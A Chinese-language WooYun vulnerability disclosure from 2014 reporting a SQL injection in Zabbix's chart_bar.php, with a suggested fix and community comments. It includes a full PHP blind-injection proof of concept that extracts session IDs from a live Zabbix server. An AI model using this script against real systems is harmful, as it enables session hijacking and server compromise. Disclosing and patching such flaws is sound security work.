当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072075

漏洞标题:Zabbix的前台SQL注射漏洞0day一枚(官方测试受到影响)

相关厂商:zabbix

漏洞作者: Map

提交时间:2014-08-12 15:33

修复时间:2014-11-10 15:34

公开时间:2014-11-10 15:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-11-10: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

在zabbix前端存在一个SQL注射漏洞,由于zabbix前台可以在zabbix的server和client进行命令执行,所以这会导致很严重的后果。

详细说明:

在 /chart_bar.php 的163行代码 获取了一个来自GET,POST,COOKIE的值itemid。
$itemid = $item['itemid'];
最后这个参数进到了SQL查询的过程

zzzzxl.jpg


在同一个文件内的$periods参数也存在一样的问题,导致了一样的SQL注射漏洞。

漏洞证明:

针对这个问题,我写了一个poc,在http://www.zabbix.org/zabbix/上测试通过。

zabbix.jpg


<?php
run_sql("SELECT sessionid from zabbix.sessions where userid in (select userid from zabbix.users) limit 1");
function run_sql($sql) {
$url = 'http://www.zabbix.org/zabbix/chart_bar.php';
$data = 'config=1&items[][itemid]='.rawurlencode('6 and 1=2#');
$true = strlen(post($url,$data));
//’“≥§∂»
for($i=0;$i<=32;$i++) {
//echo $i."\r\n";
$data = 'config=1&items[][itemid]='.rawurlencode('6 and length(('.$sql.')) = '.$i.'#');

$test = strlen(post($url,$data));

if($test < ($true - 200)) {
$length = $i;
break;
}
}
echo 'Length:'.$length."\r\n";
echo 'Result:';

$chars = array();
if($length) {
for($l=0;$l<$length;$l++) {
$char_list = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@.?-_\/!$%^&*()~';
for($c=0;$c<strlen($char_list);$c++) {
$data = 'config=1&items[][itemid]='.rawurlencode('6 and ord(substring(('.$sql.'),'.($l+1).',1)) = '.ord($char_list{$c}).'#');
$test = strlen(post($url,$data));
if($test < ($true - 200)) {
echo $char_list{$c};
$chars[$l] = $char_list{$c};
break;
}
}
}
}
}
echo "\n";
function post($uri,$data) {
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
$return = curl_exec ( $ch );
curl_close ( $ch );
return $return;
}
?>

修复方案:

使用 zbx_dbstr 函数处理变量。
或者使用
svn://svn.zabbix.com/branches/dev/ZBX-8582
分支上的chart_bar.php进行修复。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2014-08-12 15:34 | pandas ( 普通白帽子 | Rank:585 漏洞数:58 | 国家一级保护动物)

    sofa

  2. 2014-08-12 15:36 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    屌。

  3. 2014-08-12 15:37 | JiuShao ( 普通白帽子 | Rank:405 漏洞数:94 | ╮(╯▽╰)╭锄禾日当午)

    屌。

  4. 2014-08-12 15:41 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    屌。

  5. 2014-08-12 15:46 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    屌。

  6. 2014-08-12 15:54 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    屌。

  7. 2014-08-12 15:54 | 番茄师傅 ( 普通白帽子 | Rank:254 漏洞数:59 | http://www.tomatoyu.com/)

  8. 2014-08-12 15:55 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

  9. 2014-08-12 15:56 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    屌。

  10. 2014-08-12 15:56 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    屌!

  11. 2014-08-12 16:00 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年!)

    屌!

  12. 2014-08-12 16:20 | Power ( 实习白帽子 | Rank:54 漏洞数:22 | 还需要等待.........)

    屌。

  13. 2014-08-12 16:29 | Fireweed ( 普通白帽子 | Rank:107 漏洞数:14 | Show me the #)

    mark

  14. 2014-08-12 16:42 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    屌,爆了。

  15. 2014-08-12 16:50 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

  16. 2014-08-12 17:09 | D&G ( 普通白帽子 | Rank:523 漏洞数:103 | going)

  17. 2014-08-12 17:12 | agnes ( 路人 | Rank:5 漏洞数:2 | 啊,啊)

  18. 2014-08-12 19:26 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    专业破队形

  19. 2014-08-12 19:34 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

  20. 2014-08-12 21:59 | Deep ( 路人 | Rank:1 漏洞数:1 | 一个小白.想要变小黑.)

    屌。

  21. 2014-08-13 11:25 | X,D ( 普通白帽子 | Rank:143 漏洞数:8 | X,D)

    为什么这么屌

  22. 2014-08-13 11:29 | 数据流 ( 普通白帽子 | Rank:716 漏洞数:88 | all or nothing,now or never)

  23. 2014-08-13 13:33 | 墙角的小猫 ( 路人 | Rank:12 漏洞数:2 | 神奇的路人甲~)

  24. 2014-08-13 21:31 | solihat ( 路人 | Rank:10 漏洞数:3 | white hat,webapp security)

  25. 2014-08-14 09:30 | Aerfa21 ( 普通白帽子 | Rank:165 漏洞数:44 )

  26. 2014-08-14 13:39 | erevus ( 普通白帽子 | Rank:177 漏洞数:31 | Hacked by @ringzero 我錯了)

  27. 2014-09-26 19:45 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

  28. 2014-09-26 19:56 | her0ma ( 核心白帽子 | Rank:598 漏洞数:84 | 专注小厂商三十年!)

  29. 2014-09-28 22:05 | 狗狗侠 ( 普通白帽子 | Rank:497 漏洞数:55 | 我是狗狗侠)

    一个半月过去了。。。看来咱们都得去看看zabbix了,哈哈

  30. 2014-09-29 23:20 | Martes ( 路人 | Rank:21 漏洞数:3 | 人若无名,便可专心练剑)

    一个半月过去了。。。看来咱们都得去看看zabbix了,咋还没公开。。。

  31. 2014-10-03 21:19 | 乌帽子 ( 路人 | Rank:29 漏洞数:3 | 学习黑客哪家强 | 中国山东找蓝翔 | sql...)

  32. 2014-10-07 22:04 | LinE ( 实习白帽子 | Rank:31 漏洞数:13 | Just For Like Hack)

    屌屌屌

  33. 2014-10-13 13:01 | yeweit6 ( 实习白帽子 | Rank:32 漏洞数:7 | 豫章故郡,洪都新府。星分翼轸,地接衡庐。...)

    看来是不会公开了

  34. 2014-10-24 17:00 | Clouds ( 实习白帽子 | Rank:55 漏洞数:12 | test)

    为何还不公开!

  35. 2014-11-09 21:24 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    这漏洞是不公开了吗

  36. 2014-11-09 22:45 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @zcy @Clouds @yeweit6 11月10日公开的

  37. 2014-11-10 10:06 | yeweit6 ( 实习白帽子 | Rank:32 漏洞数:7 | 豫章故郡,洪都新府。星分翼轸,地接衡庐。...)

    @U神 没看到

  38. 2014-11-10 10:08 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @yeweit6 准时公开

  39. 2014-11-10 11:35 | Clouds ( 实习白帽子 | Rank:55 漏洞数:12 | test)

    @U神 今天不是10日了怎么还没公开 - -

  40. 2014-11-10 11:38 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云,知恩不忘,其实我一直都在乌云默...)

    @Clouds 2014-08-10 15:33

  41. 2014-11-10 11:42 | conqu3r ( 普通白帽子 | Rank:156 漏洞数:21 | 没有思想,没有道德,没有自由,没有人权的...)

    几个月了,还没公开!

  42. 2014-11-10 13:05 | Clouds ( 实习白帽子 | Rank:55 漏洞数:12 | test)

    @U神 真的假的 - -

  43. 2014-11-10 15:35 | yeweit6 ( 实习白帽子 | Rank:32 漏洞数:7 | 豫章故郡,洪都新府。星分翼轸,地接衡庐。...)

    @U神 吊

  44. 2014-11-10 15:35 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    洞主太厉害了

  45. 2014-11-10 15:38 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    我草!~~~公开了!~

  46. 2014-11-10 15:53 | laoyao ( 路人 | Rank:14 漏洞数:5 | ด้้้้้็็็็็้้้้้็็็็...)

    $$$

  47. 2014-11-10 16:03 | 小包子 ( 普通白帽子 | Rank:100 漏洞数:19 | 关注技术与网络安全)

    如此简单。。。

  48. 2014-11-10 16:28 | goubuli ( 普通白帽子 | Rank:324 漏洞数:61 )

  49. 2014-11-10 16:41 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    屌屌屌屌屌屌屌屌sSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS

  50. 2014-11-10 17:17 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    PHP Notice: Undefined variable: length in /tmp/zabbix.php on line 42Length:Result:PHP Notice: Undefined variable: length in /tmp/zabbix.php on line 46加了$length=32之后程序跑不出密码。这个漏洞有针对版本吗?

  51. 2014-11-10 17:27 | Seven.Sea ( 实习白帽子 | Rank:76 漏洞数:24 | 唯有安全与美食不可辜负。)

    亮瞎,

  52. 2014-11-10 17:38 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    楼上是妹子

  53. 2014-11-10 19:30 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    楼上是妹子

  54. 2014-11-10 19:47 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    洞主不知道通用漏洞新增加了个poc的模块

  55. 2014-11-10 23:20 | 我是壮丁 认证白帽子 ( 路人 | Rank:10 漏洞数:1 | 专业打酱油)

    有人利用成功了吗?

  56. 2014-11-11 10:43 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    很多人关心这个漏洞的利用,我很想加大家的QQ,但是我是一个可爱的马甲,这个漏洞是可以利用的是没有问题的,版本的话,就是这个漏洞发布时间的那个版本和之前的版本,而如果你无法按照我的poc利用成功,原因是因为itemid不对,POC就是POC,它不是exp

  57. 2014-11-11 10:59 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @Map 你这个发早了 应该是有个poc模块得 需要付wb才能看到 多好啊

  58. 2014-11-11 13:49 | ′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    新版本竟然修复了。。 zabbix 怎么知道的。

  59. 2014-11-11 14:00 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @′雨。 你成功了?

  60. 2014-11-11 14:35 | ′雨。 ( 普通白帽子 | Rank:1231 漏洞数:190 | Only Code Never Lie To Me.)

    @子非海绵宝宝 没测试啊, 就下了个最新版本的看了下代码 看到都被过滤了

  61. 2014-11-11 14:44 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @′雨。 用2.0.13测试不成功啊....写了个工具跑itemid 也没成功 好奇怪

  62. 2014-11-11 15:34 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @′雨。 我在那边也报告了一下,是@xsser 让我在这里也报告一次的。

  63. 2014-11-11 15:53 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    未能联系到厂商或者厂商积极拒绝